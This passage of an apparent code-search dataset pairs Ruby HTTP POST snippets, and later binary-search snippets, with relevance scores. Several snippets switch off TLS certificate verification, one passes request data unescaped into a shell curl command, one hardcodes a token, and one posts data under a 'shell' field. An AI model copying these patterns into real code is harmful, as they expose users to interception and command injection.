url\n Timeout.timeout(60) do\n puts \"POST: #{url}\" if config[:debug]\n \n tags = (Hpricot(open(\"http://del.icio.us/url/check?url=#{CGI.escape(url)}\"))/\n '#top-tags'/'li')[0..10].map do |li| \n (li/'span').innerHTML[/(.*?)<em/, 1]\n end.join(\" \")\n puts \"POST-TAGS: #{tags}\" if config[:debug]\n \n description = begin\n Timeout.timeout(5) do \n (((Hpricot(open(url))/:title).first.innerHTML or url) rescue url)\n end\n rescue Timeout::Error\n puts \"POST: URL timeout\" if config[:debug]\n url\n end\n \n query = { :url => url, :description => description, :tags => tags, :replace => 'yes' }\n\n http = Net::HTTP.new('api.del.icio.us', 443) \n http.use_ssl = true \n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n response = http.start do |http|\n post_url = '/v1/posts/add?' + query.map {|k,v| \"#{k}=#{CGI.escape(v)}\"}.join('&')\n puts \"POST: post url #{post_url}\" if config[:debug]\n req = Net::HTTP::Get.new(post_url, {\"User-Agent\" => \"Kirby\"})\n req.basic_auth config[:delicious_user], config[:delicious_pass]\n http.request(req)\n end.body\n\n puts \"POST: #{response.inspect}\" if config[:debug]\n end\n rescue Exception => e\n puts \"POST: #{e.inspect}\" if config[:debug]\n end", "def http_post(*args)\n url = args.shift\n c = Curl::Easy.new url\n yield c if block_given?\n c.http_post *args\n c\n end", "def http_post(uri, data)\n RestClient.post uri, data\n end", "def post_http(args)\n\t\t return(Net::HTTP.post_form @uri, args)\t\t\t\n \tend", "def post_request(url,args)\n uri = URI.parse(url)\n req = Net::HTTP::Post.new(uri.path)\n req.set_form_data(args)\n request(uri,req)\n end", "def post(object, url, headers={})\n do_request(\"post\", url, object, headers)\n end", "def post url, payload\n RestClient::Request.execute(:method => :post, :url => url, :payload => payload, :headers => lbaas_headers, :timeout => @timeout, :open_timeout => @open_timeout)\n end", "def post(uri, query = T.unsafe(nil), headers = T.unsafe(nil)); end", "def send_request(url, data)\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n if uri.port == 443\n http.use_ssl\t= true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n response = http.post(uri.path, data)\n response.code == '200' ? response.body : response.error!\n end", "def dropbox_post(url, headers: {}, payload: nil)\n raise ArgumentError, \"missing keyword: payload\" unless payload\n\n require \"net/https\"\n require \"uri\"\n\n headers = {\n \"Authorization\" => \"Bearer #{config[\"token\"]}\",\n \"Content-Type\" => \"application/json\"\n }.merge(headers)\n\n unless payload.nil? || payload.is_a?(String)\n payload = JSON.generate(payload)\n end\n\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = uri.scheme == \"https\"\n\n http.post(uri.path, payload, headers).tap do |response|\n log { \"POST #{url}\" }\n\n unless payload.nil? || payload.is_a?(String)\n log { \" PAYLOAD --> #{payload}\" }\n end\n\n log { \" RESPONSE --> #{response.body}\" }\n\n return yield response\n end\n end", "def http_post_request\n begin\n return http_client.post(http_path_query, compressed_request, http_headers)\n rescue APIKeyError\n log 'error - you must set your api_key.'\n rescue TimeoutError\n log 'fail - timeout while contacting the api server.'\n rescue Exception => e\n log \"fail - exception raised during http post. (#{e.class.name}: #{e.message})\"\n end\n nil\n end", "def post(body)\n body = body.to_s\n request = Net::HTTP::Post.new(@uri.path)\n request.content_length = body.size\n request.body = body\n request['Content-Type'] = @http_content_type\n\n # Server will disconnect @http_inactivity seconds after receiving previous client\n # response, unless it receives the post we are now sending.\n # Net::HTTP defaults to 60 seconds, which would not always be appropriate.\n # In particular, the default would not work if @http_wait is > 60!\n if @initial_post == true\n read_timeout = @http_connect\n @initial_post = false\n elsif @previous_send == Time.at(0)\n read_timeout = @http_inactivity + 1\n else\n read_timeout = (Time.now - @previous_send).ceil + @http_inactivity\n end\n\n opts = {\n :read_timeout => read_timeout, # wait this long for a response\n :use_ssl => @use_ssl # Set SSL/no SSL\n }\n opts[:verify_mode] = @verify_mode if @use_ssl # Allow caller to defeat certificate verify\n\n Jabber::debuglog(\"#{@protocol_name} REQUEST (#{@pending_requests + 1}/#{@http_requests}) with timeout #{read_timeout}:\\n#{request.body}\")\n response = @http.start(@uri.host, @uri.port, nil, nil, nil, nil, opts ) { |http|\n http.request(request)\n }\n Jabber::debuglog(\"#{@protocol_name} RESPONSE (#{@pending_requests + 1}/#{@http_requests}): #{response.class}\\n#{response.body}\")\n\n unless response.kind_of? Net::HTTPSuccess\n # Unfortunately, HTTPResponses aren't exceptions\n # TODO: rescue'ing code should be able to distinguish\n raise Net::HTTPBadResponse, \"#{response.class}\"\n end\n\n body = REXML::Document.new(response.body).root\n if body.name != 'body' and body.namespace != 'http://jabber.org/protocol/httpbind'\n raise REXML::ParseException.new('Malformed body')\n end\n body\n end", "def post(data)\n uri = URI(@host)\n res = Net::HTTP.post_form(uri, {shell: data})\n # puts res.body\nend", "def send!\n request = Net::HTTP::Post.new(uri.path, headers)\n request.body = @body\n request.content_type = @@content_type\n response = Net::HTTP.start(uri.host, uri.port) do |http|\n http.request(request)\n end\n ok?(response)\n end", "def submit\n http = Net::HTTP.new(URL.host, URL.port)\n http.use_ssl = true\n http.start { |send| send.request(self) }.body\n end", "def post(resource_url, params, data=nil)\n headers = {'Authorization' => authorization('POST', resource_url, params)}\n url = resource_url + '?' + URI.encode_www_form(params)\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n res = http.request_post(url, data, headers)\n Response.new(res)\n end", "def post_request(uri, body, token = nil, manage_errors = true)\n request = Net::HTTP::Post.new(uri.request_uri, initheader = build_headers(token))\n request.body = body.to_json\n return do_request(uri, request, manage_errors) \n end", "def execute\n options = {\n method: :post,\n timeout: 6000,\n open_timeout: 6000,\n accept: :schema\n }\n options.merge!(url: @url, payload: @html)\n begin\n res = RestClient::Request.execute(options).to_str\n @response = JSON.parse(res)\n rescue => e\n puts \"some problems with #{@url}\"\n puts e\n nil\n end\n end", "def post(url, data={}, headers={}, http_options={})\n # determine the http options\n redirect_limit = http_options[:max_redirects] || max_redirects\n gateway_retries = http_options[:gateway_retry_limit] || gateway_retry_limit\n gateway_delay = http_options[:gateway_retry_delay] || gateway_retry_delay\n\n # parse the URL\n uri = URI.parse(url)\n\n # unless the data is already a string, assume JSON and convert to string\n data = data.to_json unless data.is_a? String\n # build the http object\n http = build_http(uri)\n # build the request\n request = Net::HTTP::Post.new(uri.request_uri, headers)\n request.body = data\n\n # send the request\n begin\n response = http.request(request)\n # handle the response\n case response\n # handle 302\n when Net::HTTPRedirection then\n if redirect_limit == -1\n HttpResponse.new(response)\n elsif redirect_limit == 0\n raise Net::HTTPFatalError.new(\"Too many redirects\", response)\n else\n post(response['location'], data, headers, http_options.merge({\n :max_redirects => redirect_limit - 1\n }))\n end\n # handle 502, 503, 504\n when Net::HTTPBadGateway, Net::HTTPServiceUnavailable, Net::HTTPGatewayTimeOut then\n if gateway_retries == -1\n HttpResponse.new(response)\n elsif gateway_retries == 0\n Kinetic::Platform.logger.info(\"HTTP response: #{response.code} #{response.message}\")\n raise Net::HTTPFatalError.new(\"#{response.code} #{response.message}\", response)\n else\n Kinetic::Platform.logger.info(\"#{response.code} #{response.message}, retrying in #{gateway_delay} seconds\")\n sleep(gateway_delay)\n post(url, data, headers, http_options.merge({\n :gateway_retry_limit => gateway_retries - 1\n }))\n end\n when Net::HTTPUnknownResponse, NilClass then\n Kinetic::Platform.logger.info(\"HTTP response code: 0\")\n e = Net::HTTPFatalError.new(\"Unknown response from server\", response)\n HttpResponse.new(e)\n else\n Kinetic::Platform.logger.info(\"HTTP response code: #{response.code}\")\n HttpResponse.new(response)\n end\n rescue Net::HTTPBadResponse => e\n Kinetic::Platform.logger.info(\"HTTP bad response: #{e.inspect}\")\n HttpResponse.new(e)\n rescue StandardError => e\n Kinetic::Platform.logger.info(\"HTTP error: #{e.inspect}\")\n HttpResponse.new(e)\n end\n end", "def post_request(url, data)\n\n http = Net::HTTP.new(@api_host, API_PORT)\n http.use_ssl = (API_PORT == 443)\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n \n begin\n response = http.post(url, data, headers)\n rescue Exception => e\n raise W3i::UnknownError, e.message\n end\n \n json_data = JSON.parse(response.body) if response.content_type == 'application/json'\n \n if response.code.to_i == 200\n return json_data\n else\n message = response.body\n message = \"#{json_data['code']} - #{json_data['message']}\" unless json_data.nil?\n raise W3i::ApiError, message: message\n end\n\n false\n end", "def http(data, url, opts = {})\n method = opts[:method] || :post\n opts[:data] = data\n response = HTTParty.send(method, url, opts)\n unless (200..299).include?(response.code)\n raise HttpError.new(\"Bad response: #{response.code} #{response.body}\", response)\n end\n end", "def post(uri, params = {})\n send_request(uri, :post, params)\n end", "def httppost(url, corpNum, postData, action = '', userID = '', contentsType = '')\n\n headers = {\n \"x-lh-version\" => KAKAOCERT_APIVersion,\n \"Accept-Encoding\" => \"gzip,deflate\",\n }\n\n apiServerTime = @linkhub.getTime(@useStaticIP, @useGAIP)\n\n hmacTarget = \"POST\\n\"\n hmacTarget += Base64.strict_encode64(Digest::SHA256.digest(postData)) + \"\\n\"\n hmacTarget += apiServerTime + \"\\n\"\n\n hmacTarget += KAKAOCERT_APIVersion + \"\\n\"\n\n key = Base64.decode64(@linkhub._secretKey)\n\n data = hmacTarget\n digest = OpenSSL::Digest.new(\"sha256\")\n hmac = Base64.strict_encode64(OpenSSL::HMAC.digest(digest, key, data))\n\n headers[\"x-kc-auth\"] = @linkhub._linkID+' '+hmac\n headers[\"x-lh-date\"] = apiServerTime\n\n if contentsType == ''\n headers[\"Content-Type\"] = \"application/json; charset=utf8\"\n else\n headers[\"Content-Type\"] = contentsType\n end\n\n headers[\"Authorization\"] = \"Bearer \" + getSession_Token(corpNum)\n\n\n uri = URI(getServiceURL() + url)\n\n https = Net::HTTP.new(uri.host, 443)\n https.use_ssl = true\n Net::HTTP::Post.new(uri)\n\n res = https.post(uri.request_uri, postData, headers)\n\n if res.code == \"200\"\n if res.header['Content-Encoding'].eql?('gzip')\n JSON.parse(gzip_parse(res.body))\n else\n JSON.parse(res.body)\n end\n else\n raise KakaocertException.new(JSON.parse(res.body)[\"code\"],\n JSON.parse(res.body)[\"message\"])\n end\n end", "def http_post(payload)\n LOGGER.info(\"Sending POST request to #{@collector_uri}...\")\n LOGGER.debug(\"Payload: #{payload}\")\n destination = URI(@collector_uri)\n http = Net::HTTP.new(destination.host, destination.port)\n request = Net::HTTP::Post.new(destination.request_uri)\n if destination.scheme == 'https'\n http.use_ssl = true\n end\n request.body = payload.to_json\n request.set_content_type('application/json; charset=utf-8')\n response = http.request(request)\n LOGGER.add(is_good_status_code(response.code) ? Logger::INFO : Logger::WARN) {\n \"POST request to #{@collector_uri} finished with status code #{response.code}\"\n }\n\n response\n end", "def post_request(uri, body, token)\n http = build_http(uri)\n request = Net::HTTP::Post.new(uri.request_uri, initheader = build_headers(token))\n request.body = body\n return http.request(request)\t\t\n end", "def nessus_http_request(uri, post_data)\n\t\t\turl = URI.parse(@nurl + uri)\n\t\t\trequest = Net::HTTP::Post.new( url.path )\n\t\t\trequest.set_form_data( post_data )\n\t\t\tif not defined? @https\n\t\t\t\t@https = Net::HTTP.new( url.host, url.port )\n\t\t\t\[email protected]_ssl = true\n\t\t\t\[email protected]_mode = OpenSSL::SSL::VERIFY_NONE\n\t\t\tend\n\t\t\t# puts request\n\t\t\tbegin\n\t\t\t\tresponse = @https.request( request )\n\t\t\trescue\n\t\t\t\tputs(\"error connecting to server: #{@nurl} with URI: #{uri}\")\n\t\t\t\texit\n\t\t\tend\n\t\t\t# puts response.body\n\t\t\treturn response.body\n\t\tend", "def post(uri, data)\n uri = URI.parse(uri)\n http = Net::HTTP.new(uri.host, uri.port)\n return http.post(uri.path, data, @headers)\n end", "def send_post(uri, data)\n _send_request('POST', uri, data)\n end", "def http_post\n req = Net::HTTP::Post.new @uri.request_uri, request_headers\n req.set_form_data params\n req.basic_auth @proxy_user, @proxy_pass if @proxy_pass && @proxy_user\n req\n end", "def http_post(curl, data, url)\n\n # Define the post data\n data2 = ''\n\n # Loop through the data[\"post_data\"] passed in to build up the post data string\n data[\"post_data\"].each do |key, value|\n if (data2 != '') then\n data2 = data2 + '&'\n end\n # If the value is null we don't just want it to look like: item=\n if (value.nil?) then\n data2 = data2 + CGI::escape(key.to_s) + '='\n else\n data2 = data2 + CGI::escape(key.to_s) + '=' + CGI::escape(value.to_s)\n end\n end\n\n # Define the url we want to hit\n curl.url = url\n # Specify the headers we want to hit\n curl.headers = data['header']\n\n # perform the call\n curl.post(data2)\n\n curl.headers = nil\n\n # Set headers to nil so none get reused elsewhere\n curl.headers = nil\n\n # return the curl object\n return curl\n\nend", "def POST(data=nil, headers=nil)\n\n\t\tif not data.nil? #if request data passed in, use it.\n\t\t\t@data = data\n\t\tend\n\n\t\turi = URI(@url)\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\thttp.use_ssl = true\n\t\trequest = Net::HTTP::Post.new(uri.path)\n\t\trequest.body = @data\n\n\t\tif @search_type == 'premium'\n\t\t\trequest['Authorization'] = \"Bearer #{@app_token}\"\n\t\telse\n\t\t\trequest.basic_auth(@app_token, @password)\n\t\tend\n\n\t\tbegin\n\t\t\tresponse = http.request(request)\n\t\trescue\n\t\t\tlogger()\n\t\t\tsleep 5\n\t\t\tresponse = http.request(request) #try again\n\t\tend\n\n\t\treturn response\n\tend", "def post(url, payload, headers={})\n payload = MultiJson.encode(payload)\n headers = headers.merge({:content_type => 'application/json'})\n request(:post, url, payload, headers)\n end", "def post_data(data, url, headers = nil)\n payu_service = Net::HTTP.new(OfficialPaths.domain_url, 443)\n payu_service.use_ssl = true\n payu_service.verify_mode = OpenSSL::SSL::VERIFY_NONE \n\n @response = payu_service.post(url, data.to_s, headers)\n @response.body\n end", "def post(options = {})\n url = build_url(options)\n ret = post_response(url, options)\n ret\n end", "def post url, options={}\n response = self.class.post(url, {:body => options}).parsed_response\n raise Skydrive::Error.new(response[\"error\"]) if response[\"error\"]\n response[\"data\"] ? response[\"data\"] : response\n end", "def post(url, query = {}, payload = {})\n restclient({\n method: :post,\n url: \"#{@scheme}://#{@host}/#{url}\",\n timeout: Timeout,\n open_timeout: OpenTimeout,\n payload: payload.to_json,\n headers: {\n authorization: @auth,\n content_type: :json,\n accept: :json,\n params: query\n }\n })\n end", "def post(request)\n do_request(request) { |client| client.http_post request.body }\n end", "def post endpoint, data\n do_request :post, endpoint, data\n end", "def request(post_body, headers)\n request = Net::HTTP::Post.new(endpoint_uri.path, headers)\n authenticate(request) if username\n request.body = post_body\n response = @client.request(request)\n { status: response.code.to_i, body: response.body, content_type: response.content_type }\n end", "def post(uri, request_headers, body)\n request('post', uri, request_headers, body) do |response_status_code, response_headers, response_body|\n yield response_status_code, response_headers, response_body\n end\n end", "def nessus_http_request(uri, post_data) \r\n\t\turl = URI.parse(@nurl + uri) \r\n\t\trequest = Net::HTTP::Post.new( url.path )\r\n\t\trequest.set_form_data( post_data )\r\n\t\tif not defined? @https\t\r\n\t\t\t@https = Net::HTTP.new( url.host, url.port )\r\n\t\t\[email protected]_ssl = true\r\n\t\t\[email protected]_mode = OpenSSL::SSL::VERIFY_NONE\r\n\t\tend\r\n\t\t# puts request\r\n\t\tbegin\r\n\t\t\tresponse = @https.request( request )\r\n\t\trescue \r\n\t\t\tputs \"[e] error connecting to server: \"+ @nurl + \" with URI: \" + uri\r\n\r\n\t\t\texit\r\n\t\tend\r\n\t\t# puts response.body\r\n\t\treturn response.body\r\n\tend", "def run_request(method, url, body, headers); end", "def post(body)\n request = Net::HTTP::Post.new(bind_uri)\n request.body = body\n request.content_length = request.body.size\n request[\"Content-Type\"] = \"text/xml; charset=utf-8\"\n\n Jabber.debug(\"Sending POST request - #{body.strip}\")\n\n response = Net::HTTP.new(domain, port).start { |http| http.request(request) }\n\n Jabber.debug(\"Receiving POST response - #{response.code}: #{response.body.inspect}\")\n\n unless response.is_a?(Net::HTTPSuccess)\n raise Net::HTTPBadResponse, \"Net::HTTPSuccess expected, but #{response.class} was received\"\n end\n\n response\n end", "def post url, params={}, postdata={}, headers={}\n uri = URI.parse(url)\n p = postdata.to_json\n h = default_headers.merge(headers)\n path = uri.path + \"?\" + query_string(default_params.merge(params))\n response = http(uri.host, uri.port).post(path, p, h)\n\n if (response.code.to_i) == 200 && (response.content_type == \"text/json\")\n hash = JSON.parse(response.body)\n\n else\n raise StandardError.new(\n \"Request:\\n\" +\n \"path: #{path}\\n\" +\n \"headers: #{h}\\n\" +\n \"#{p}\\n\" +\n \"Response:\\n\" +\n \"--\\n\" +\n \"Response:\\n\" +\n \"status: #{response.code}\\n\" +\n \"content-type: #{response.content_type}\\n\" +\n response.body)\n end\n\n # If this response contains a changeset, apply it.\n if hash.include?(\"ChangeSet\")\n apply_changeset(hash[\"ChangeSet\"])\n end\n\n hash\n end", "def do_post(uri = '', body = '', multipart = false)\n build_request(:post, uri, body, multipart)\n end", "def post(url, token, params, headers)\n puts \"post to #{url}\"\n uri = URI.parse(url)\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n\n req = Net::HTTP::Post.new(uri.path, headers)\n req['Authorization'] = \"token #{token}\" if token\n\n return http.request(req, params)\nend", "def POST(data=nil)\n\n if not data.nil? #if request data passed in, use it.\n @data = data\n end\n\n uri = URI(@url)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n if @set_cert_file\n http = set_cert_file(http)\n end\n request = Net::HTTP::Post.new(uri.path)\n request.body = @data\n request.basic_auth(@user_name, @password)\n\n response = http.request(request)\n return response\n end", "def post_with_curl\n url = @settings.webhook_url\n `curl -is -X POST -H \"Content-Type:application/json\" -d '#{get_body}' '#{url}'`\n end", "def post(params)\n self.class.post(url, body: params)\n end", "def http_post(url, params, json = false)\n content_type = {}\n if json && params\n params = params.to_json\n content_type['Content-Type'] = 'application/json'\n end\n headers = @auth_headers.merge(content_type)\n exponential_backoff do\n @mutex.synchronize do\n begin\n response = @agent.post(url, params, headers)\n return JSON.parse(response.body)\n rescue Net::HTTP::Persistent::Error\n reset_http_agent\n response = @agent.post(url, params, headers)\n return JSON.parse(response.body)\n end\n end\n end\n end", "def http_post(uri:, additional_headers: {}, data: {}, basic_auth: nil, debug: false)\n return nil if uri.blank?\n\n opts = options(additional_headers: additional_headers, debug: debug)\n opts[:body] = data\n opts[:basic_auth] = basic_auth if basic_auth.present?\n HTTParty.post(uri, opts)\n rescue URI::InvalidURIError => e\n handle_uri_failure(method: \"BaseService.http_post #{e.message}\", uri: uri)\n nil\n rescue HTTParty::Error => e\n handle_http_failure(method: \"BaseService.http_post #{e.message}\", http_response: nil)\n nil\n end", "def post(path, content_type, accept, content = {})\n execute HttpConnect::HttpPost.new(path, content_type, accept, content)\n end", "def http_request(params)\n Net::HTTP::Post.new(endpoint.request_uri).tap do |request|\n request.body = URI.encode_www_form params\n request.content_type = 'application/x-www-form-urlencoded; charset=utf-8'\n end\n end", "def http_send_action\n http = http_inst\n req = http_post\n Response.new http.request req\n end", "def post(uri, query = {}, &block)\n request(:post, uri, query, &block)\n end", "def makeRequest(url,input)\n #GET\n if input.class == String\n begin\n rawData = Net::HTTP.get_response(URI.parse(url+input))\n if rawData.code == \"404\"\n data = nil\n else\n data = rawData.body\n end\n rescue\n puts \"Error: #{$!}\"\n end\n #POST\n else\n uri = URI.parse(url+\"/\")\n begin\n data = Net::HTTP.new(uri.host).post(uri.path,input.join(\",\")).body\n rescue\n puts \"Error: #{$!}\"\n end\n end\n return data\n end", "def post url, parameters = {}, headers = {}\n @request_meter.mark\n\n try_n_times do\n @current_url = url\n escaped_url = URI.escape url\n\n GapCrawler.logger.debug \"POST: #{escaped_url}\\nParameters: #{parameters}\\nCustom Headers: #{headers}\"\n\n fetcher { @agent.post url, parameters, headers }\n end\n end", "def do_post(request, out_stream)\n raise Error.new(\"HTTPS over a proxy is not supported.\") if !@use_http and @proxy_host\n\n reset_response_data()\n\n request.basic_auth(@user_name, @api_key)\n request.add_field('User-Agent', @user_agent)\n\n while true\n begin\n return exec_request(request, out_stream)\n rescue Error => err\n if (err.getCode() == '502' or err.getCode() == '503') and @retry_count > @retry\n @retry += 1\n sleep(@retry * 0.1)\n else\n raise\n end\n end\n end\n end", "def http_post(path, data, headers = {})\n clear_response\n path = process_path(path)\n @success_code = 201\n @response = http.post(path, data, headers)\n parse_response? ? parsed_response : response.body\n end", "def do_post_request(data)\n\t\tresponse = Net::HTTP.post_form(URI(@url),data)\n if response.message == \"OK\"\n\t\t\tresult = {}\n\t\t\tresponse.body.split('&').each do |res|\n\t\t\t\tif res != ''\n\t\t\t\t\ttemp = res.split('=')\n\t\t\t\t\tif temp.size > 1\n\t\t\t\t\t\tresult[temp[0]] = temp[1]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n else\n result = \"Error in the HTTP request\"\n end\n return result\n\tend", "def post(url, payload)\n url = URI.parse(url)\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n request = Net::HTTP::Post.new(url.path+'?access_token=verysecret')\n request.content_type = 'application/json'\n request.body = JSON.generate(payload)\n response = http.start {|http| http.request(request) }\n begin\n return JSON.parse(response.body)\n rescue\n # Log as a problematic case with rule number and line\n $problems.write \"#{$index}, #{payload}, #{response.body}\\n\"\n return nil\n end\nend" ]
[ "0.79968053", "0.7728051", "0.75461125", "0.7508836", "0.742672", "0.7230387", "0.72280747", "0.697417", "0.6961646", "0.6937794", "0.69223756", "0.69105035", "0.6888542", "0.6819843", "0.68141776", "0.68047553", "0.6800967", "0.67646885", "0.66879416", "0.6677852", "0.66722417", "0.6663399", "0.66312855", "0.6603517", "0.6598294", "0.6596914", "0.65819913", "0.65529263", "0.6552893", "0.6542706", "0.6539927", "0.6535735", "0.6506848", "0.6502097", "0.64443046", "0.6421788", "0.6418781", "0.6395496", "0.63783026", "0.6341845", "0.63211745", "0.6278517", "0.62736106", "0.6249576", "0.6246705", "0.62410283", "0.6230655", "0.6228464", "0.61954874", "0.61857724", "0.6182345", "0.6181368", "0.6173936", "0.61701113", "0.6170039", "0.6166075", "0.6165933", "0.61624557", "0.61472946", "0.6141029", "0.6139161", "0.6127722", "0.6119411", "0.6115824", "0.6099937", "0.6044592", "0.60430044", "0.603209", "0.6028567", "0.602731", "0.6024508", "0.6023205", "0.6016971", "0.60141474", "0.6011756", "0.5986001", "0.5984034", "0.59770966", "0.5969603", "0.5966489", "0.5954022", "0.5944064", "0.5940195", "0.5934571", "0.59240097", "0.5913761", "0.5909794", "0.59062004", "0.5903567", "0.5900586", "0.5892765", "0.5891497", "0.5881235", "0.58726925", "0.585532", "0.5852415", "0.5841645", "0.58368015", "0.58205456", "0.58179295" ]
0.7558476
2
O(nlogn) compared to using bsearch: best case (when arr is already sorted) is linear, worst case still nlogn, while using bsearch even when arr is sorted results in n binary searches = nlogn even in the best case
def hash_two_sum(arr, target) h = Hash.new { |h, k| h[k] = [] } arr.each_with_index do |num, i| return true unless h[target - num].empty? h[num] << i end false end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def bsearch(sorted_array, target)\n return nil if sorted_array.empty?\n \n i_mid = (sorted_array.length-1) / 2\n mid = sorted_array[i_mid]\n \n if target == mid\n i = i_mid\n elsif target < mid\n i = bsearch(sorted_array[0...i_mid], target)\n else\n i = bsearch(sorted_array[i_mid + 1..-1], target)\n i += mid + 1 if i\n end\n \n i\nend", "def bsearch(arr, target)\n return nil if arr.length == 1 && arr[0] != target\n mid_i = arr.length / 2\n return mid_i if arr[mid_i] == target\n\n low_arr = arr[0...mid_i]\n high_arr = arr[mid_i+1..-1]\n\n if arr[mid_i] > target\n bsearch(low_arr, target) \n elsif bsearch(high_arr, target) != nil\n low_arr.length + 1 + bsearch(high_arr, target)\n end\n\nend", "def bsearch arr, target \n return nil if arr.length == 1 && !arr.include?(target)\n\n mid_idx = arr.length / 2\n\n return mid_idx if arr[mid_idx] == target \n \n left = arr.take(mid_idx)\n right = arr.drop(mid_idx)\n\n if arr[mid_idx] > target \n bsearch(left, target)\n else \n result = bsearch(right,target)\n if result.nil? \n return nil \n else \n result + mid_idx\n end\n end\nend", "def bsearch(array, target)\n return nil if array.empty?\n\n mid_idx = array.length / 2\n mid_ele = array[mid_idx]\n\n return mid_idx if target == mid_ele\n\n if target < mid_ele\n sub_arr = array[0...mid_idx]\n return bsearch(sub_arr, target)\n else\n sub_arr = array[mid_idx + 1..-1]\n next_search = bsearch(sub_arr, target)\n return nil if next_search == nil\n return mid_idx + 1 + next_search\n end\nend", "def bsearch(arr, target)\n return -1 if arr.empty?\n left = 0\n right = arr.length - 1\n bsearch_helper(arr, target, left, right)\nend", "def bsearch(arr, target)\n return nil if arr.length < 1\n\n middle_idx = arr.length / 2\n return_idx = 0\n\n return middle_idx if arr[middle_idx] == target\n\n if target < arr[middle_idx]\n index = bsearch(arr[0...middle_idx], target)\n index.nil? ? (return nil) : return_idx += index\n else\n index = bsearch(arr[middle_idx + 1..-1], target)\n index.nil? ? (return nil) : (return_idx = (middle_idx + index + 1))\n end\n\n return_idx\nend", "def bsearch(array, target)\n return nil if !array.include?(target)\n arr = array.sort\n\n mid = arr.length / 2\n\n\n if arr[mid] == target\n return mid\n elsif arr[mid] < target\n mid + bsearch(arr[mid..-1], target)\n else\n bsearch(arr[0..mid-1], target)\n end\nend", "def bsearch(arr, target)\n i = 0\n j = arr.length - 1\n while i <= j\n m = (i + j) / 2\n if target < arr[m]\n j = m - 1\n elsif target > arr[m]\n i = m + 1\n elsif target == arr[m]\n return m\n end\n end\n -1\nend", "def bsearch(arr, target)\n return nil if arr.length < 1\n # return nil if target > arr.max || target < arr.min\n compare_index = arr.length / 2\n match = target <=> arr[compare_index]\n case match\n when -1\n bsearch(arr.take(compare_index), target)\n when 0\n compare_index\n else\n result = bsearch(arr.drop(compare_index+1), target)\n return nil if result.nil?\n result + compare_index + 1\n end\nend", "def bsearch(arr, target)\n return nil if arr.empty?\n mid = arr.length / 2\n return mid if arr[mid] == target\n\n if target < arr[mid]\n bsearch(arr[0...mid], target)\n else\n result = bsearch(arr[mid + 1..-1], target)\n result.nil? ? nil : mid + 1 + result\n end\nend", "def bsearch(arr, target)\r\n return false if arr.length == 0\r\n\r\n mid = arr.length/2\r\n\r\n return mid if arr[mid] == target\r\n if arr[mid] > target\r\n found = bsearch(arr[mid+1..-1], target)\r\n found + mid + 1 unless found == false\r\n else\r\n bsearch(arr[0...mid], target)\r\n end\r\n false\r\nend", "def bsearch(arr, target)\n if arr.length == 1 \n if arr[0] == target\n return 0\n else\n return nil\n end\n end\n arr.sort!\n middle = arr.length / 2\n left = arr[0...middle]\n right = arr[middle + 1..-1]\n if arr[middle] == target\n return middle\n elsif arr[middle] < target\n if bsearch(right, target).nil?\n return nil\n # else\n return left.length + 1 + bsearch(right, target)\n end\n else \n bsearch(left, target)\n end\nend", "def bsearch(arr, target)\n return nil if arr.length == 0\n mid = arr.length/2\n\n if target < mid\n bsearch(arr.take(mid), target)\n elsif target == arr[mid]\n return true\n else\n search_res = bsearch(arr.drop(mid + 1), target)\n search_res.nil? ? false : true\n end\nend", "def bsearch(arr, target, sorted = false)\n debugger\n if arr.length == 1\n arr == target ? (return arr) : (return nil)\n end\n arr = arr.quicksort unless sorted\n search = arr[arr.length/2]\n case search <=> target\n when -1\n return bsearch(arr[0...search], target, true)\n when 0\n return true\n when 1\n return bsearch(arr[search + 1] , target, true)\n end\n\n\nend", "def bsearch(arr, target)\n return nil if arr.empty?\n mid_idx = arr.length / 2\n pivot = arr[mid_idx]\n return mid_idx if pivot == target\n if pivot > target\n bsearch(arr[0...mid_idx], target)\n else\n result = bsearch(arr[mid_idx + 1..-1], target)\n if result == nil\n nil\n else\n mid_idx + 1 + result\n end\n end\nend", "def bsearch(array, target)\n return nil if array.empty?\n\n n = array.size / 2\n bottom = array[0...n]\n mid = array[n]\n top = array[n + 1..-1]\n\n if target < mid\n bsearch(bottom, target)\n elsif target > mid\n top_search = bsearch(top, target)\n top_search.nil? ? nil : top_search + bottom.size + 1\n else\n mid == target ? n : nil\n end\nend", "def bsearch(arr, target)\n return nil if arr.empty?\n middle_idx = (arr.length/2) # odd_arrays = direct middle, even arrays = HIGHER MIDDLE\n if arr[middle_idx] == target\n return middle_idx\n elsif arr[middle_idx] > target\n bsearch(arr[0...middle_idx], target)\n else\n idx = bsearch(arr[(middle_idx+1)..-1], target)\n if idx.is_a?(Fixnum)\n idx + middle_idx + 1\n else\n nil\n end\n end\nend", "def bsearch(array, target)\n # compare target value to middle element\n #if target value is == to middle elements value\n #return the position and end\n # if target value is less than middle value seach lower half of array\n # same goes for greater than (search upper half)\n # when it searches lower or upper half it keeps the same logic as the beginning\n # nil if not found; can't find anything in an empty array\n return nil if array.empty?\n\n index = array.length / 2\n # spaceship operator magic!\n case target <=> array[index]\n when -1 #search left side\n bsearch(array.take(index), target)\n when 0\n index\n when 1 #search right side\n answer = bsearch(array.drop(index + 1), target)\n answer.nil? ? nil : index + 1 + answer\n end\nend", "def bsearch(array, target)\n\n return nil unless array.include?(target)\n\n middle = (array.length - 1) / 2\n return middle if target == array[middle]\n\n if target < array[middle]\n bsearch(array[0...middle], target)\n elsif target > array[middle]\n middle + 1 + bsearch(array[(middle + 1)..-1], target)\n end\nend", "def bsearch(array, target)\n return nil if array.length == 1 && target != array[0]\n idx = array.length / 2\n mid_ele = array[idx]\n\n if target == mid_ele\n return idx\n elsif target < mid_ele\n return bsearch(array[0...idx], target)\n else\n if bsearch(array[idx+1..-1], target).nil?\n return nil\n else\n return idx + 1 + bsearch(array[idx+1..-1], 